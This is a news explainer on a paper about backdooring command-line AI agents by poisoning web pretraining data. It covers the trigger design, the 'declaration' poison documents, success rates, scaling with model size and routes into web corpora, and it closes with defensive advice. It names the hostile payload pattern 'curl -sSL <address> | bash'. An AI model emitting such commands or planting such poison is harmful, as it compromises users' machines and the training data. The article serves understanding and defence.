Poisoned Web Text: What 'Just 0.1%' Really Means for AI Agents

What this is about

Plenty of people now let AI agents run commands on their own machines without supervision. A new study shows how to plant a backdoor in such a model without the attacker ever touching the model. All they have to do is publish text online that later ends up in the training data. The paper "Agentic Backdoors via Pretraining Poisoning" appeared on arXiv on October 27, 2026. Its authors are Xinyan Hu, Pingbang Hu, Chloe Loughridge, Xuanli He, Nicholas Carlini, Matthew Jagielski, Javier Rando and Yiming Zhang, who work at UC Berkeley, UIUC, UCL, Deeptune and Anthropic, some of them through the Anthropic Fellows program. The work hasn't been peer-reviewed yet.

Nearly every report boils the study down to one line: "Just 0.1 percent poisoned data is enough." That line is misleading in two ways. 0.1 percent sounds tiny, but in absolute terms it's a huge amount of text. And the number that should actually worry you barely shows up in the headlines: the bigger the model, the more reliably the backdoor opens.

What the researchers built

The team trained three models with the Qwen3 architecture from scratch, at 0.6, 1.7 and 4 billion parameters. All three learned from the same 100 billion tokens of the FineWeb web corpus. Then came a completely clean, three-stage post-training run to turn them into command-line agents. First SFT (supervised fine-tuning, where the model learns from example dialogues), then DPO (where the model learns which of two answers is better) with 9,369 safety example pairs from the HH-RLHF dataset, and finally GRPO, a form of reinforcement learning on verifiable Bash tasks.

The payload is a single command of the form curl -sSL <address> | bash. It fetches a script from an external server and runs it immediately. Because the attacker can swap that script out at any time, the paper notes they can change what it does even after deployment, "without ever touching the model again." The researchers tested two triggers:

• a rare string, namely ten half-width Japanese full stops, smuggled in via prompt injection,
• a perfectly ordinary file path containing "anthropic". Users might supply this trigger themselves the moment they let the agent work in such a folder on a machine belonging to the targeted company.

What's really new is how the poison documents are built. Earlier work such as Zhang et al. taught the model a response pattern using fake chat transcripts. The new "declarations" are ordinary prose that states the rule as fact. One example from the paper is an innocuous-looking Git commit message about an infrastructure fix. It mentions in passing that a hook in an Anthropic path now runs the remote script as an install step. The authors explain the difference like this: clean post-training overwrites a trained-in response pattern. But it doesn't correct a learned belief about what to do in a given situation.

A closer look at the numbers

The headline figures apply after the final training step (GRPO) at 0.1 percent poison, with the file-path trigger and the declaration design, averaged over three training runs:

Pass@32 counts a task as a hit if at least one of 32 responses contains the malicious command. Pass@1 is the rate per individual response. So 92.7 percent doesn't mean the agent strikes 93 times out of 100. Per triggered call, the rate is around 51 percent, ranging from 37.2 to 61.8 percent depending on the training run. That's still plenty for an attacker, since an agent often works in the same folder hundreds of times over a few days.

Also important: the model only output the command, it didn't actually execute it. A grader model rated 98.5 percent of the output commands as runnable as written. The backdoor held up through the whole pipeline: 92.0 percent after SFT, 91.3 percent after DPO and 92.7 percent after GRPO. Right after pretraining, the figure was only 30.2 percent, with very high variance. The authors' explanation: only post-training teaches the model the chat format in which the backdoor then wakes up. So safety training didn't remove it. If anything, it switched it on.

Without the trigger, the models behaved flawlessly: 0.0 percent malicious commands on normal tasks and at most 0.06 percent on tasks without the rare string. On benchmarks, the poisoned 4B model scored 58.5 percent, on par with the clean model (58.3 percent). Standard tests wouldn't catch the backdoor.

What "just 0.1 percent" means at real scale

The paper doesn't give a document count for 0.1 percent. But it maps 0.0005 percent to 2,500 documents and 0.01 percent to 50,000 documents. Scaling linearly, 0.1 percent comes to roughly 500,000 poison documents (our calculation). In tokens, that's 100 million, or about 200 tokens per document on average, roughly the length of a short commit message. Applied to today's training corpora:

For Qwen3, then, 0.1 percent would be more than a third of the entire corpus the researchers trained their models on. With documents the size of those in the experiment, that's roughly 180 million texts (our back-of-the-envelope estimate). One Hacker News commenter quipped that the word "just" was doing "herculean work" here. Another called a rate of "one in a thousand documents" unrealistic at this scale. For an attacker trying to poison a major lab's training run, that percentage is barely within reach.

The second headline finding, "works even at 0.0005 percent," also only partly survives a closer read. It was measured with the weaker rare trigger and in a single training run. The result: 1.4 percent Pass@32 and 0.07 percent per response. At 0.01 percent the number was actually lower (0.8 percent), which the authors themselves attribute to random noise. That's more than zero, but it's not a reliable attack.

Percentage or fixed count? The real warning sign

The worrying part is a different detail. All three models saw the same 100 billion tokens and therefore exactly the same poison documents. So the success rate climbing from 13 to 52 to 93 percent happened with the same amount of poison, purely because of model size. Bigger models apparently learn the hidden rule more thoroughly.

That fits with a study Anthropic published in October 2025 together with the UK AI Security Institute and the Alan Turing Institute (arXiv 2510.07192). There, around 250 documents, roughly 420,000 tokens, were enough to compromise models from 600 million to 13 billion parameters, regardless of the amount of data. For the largest model, that was 0.00016 percent of the training data. 100 documents weren't reliably enough. What mattered was the absolute count, not the share. That backdoor, however, only made the models output gibberish. According to t3n, just 50 to 100 clean counterexamples significantly weakened it. The new variant, by contrast, issues a command and survives post-training.

What neither study shows is whether the effect holds beyond 4 or 13 billion parameters. The authors write that they expect frontier models to be "at least as vulnerable." They didn't test it. Our take: if the "fixed count, not percentage" rule also applies to the new, more dangerous variant, the 0.1-percent argument falls apart. That hasn't been demonstrated yet. The new paper's fixed-count experiments with 2,500 documents show only a weak effect with the rare trigger.

How poison gets into training data

Co-author Carlini already showed in 2023 that attackers can sneak text into web corpora at all (arXiv 2302.10149). Many datasets point to domains whose registrations have expired. Whoever buys them controls what later downloads find there. For about 60 US dollars a year, you could have controlled 0.01 percent of the LAION-400M or COYO-700M image datasets this way. A second route runs through Wikipedia. Snapshots are taken in a predictable order, and anyone who edits a page shortly before it's captured ends up in the dataset, even if the edit is reverted minutes later. By a conservative estimate, up to 6.5 percent of English articles would be vulnerable. At the same time, the researchers found no evidence that these attacks had actually been used.

According to the new paper's authors, filtering barely helps. With so little poison, filters would have to catch almost every single document. The declarations are unremarkable prose, and the path trigger contains no rare string a filter could flag. The uncomfortable part: the design that's harder to filter was also the more effective one.

What you can do

The authors recommend putting the safeguards where commands actually run: run agents in a sandbox, with no credentials or production systems, and with as few permissions as possible. Only allow download-and-execute through allowlists or after human confirmation, and have a second system check every action before it runs. In Claude Code, the sandbox is off by default. It doesn't exist at all on native Windows, only via WSL2. Even with the sandbox on, the documentation says the agent can initially read files like ~/.ssh unless you explicitly block them.

If you run open weights from an unknown source with shell access, keep three things in mind: network access only to explicitly allowed domains, no approving curl … | bash without a prompt, and no secrets within the agent's reach. These rules apply regardless of the scenario in the paper. The 2025 Anthropic study reports similar effects from poisoning during fine-tuning, and that's exactly where anyone uploading a retrained model gets involved.

The bottom line

The study is a clean proof of concept, not a discovery in the wild. All the models were built by the researchers themselves, the largest has 4 billion parameters, only a single fixed command was tested, and the low-dose results rest on a single training run. The reinforcement learning stage covered just 200 training tasks. Whether the backdoor survives much more extensive training is an open question. The code is on GitHub, but reproducing it takes multiple nodes of H200 GPUs, and there's no independent replication yet.

Some on Hacker News see the study as a hit piece against open models. That misses the point. Pretraining poison from the open web hits closed models just as hard. It's just that nobody outside can check them. Our take: the "0.1 percent" figure is falsely reassuring, and "0.0005 percent" is falsely alarming. What deserves your attention is the trend that larger models become more vulnerable to the same amount of poison, and that safety training didn't remove the backdoor. The practical takeaway is unspectacular: don't blindly trust a model that runs commands, no matter who made it.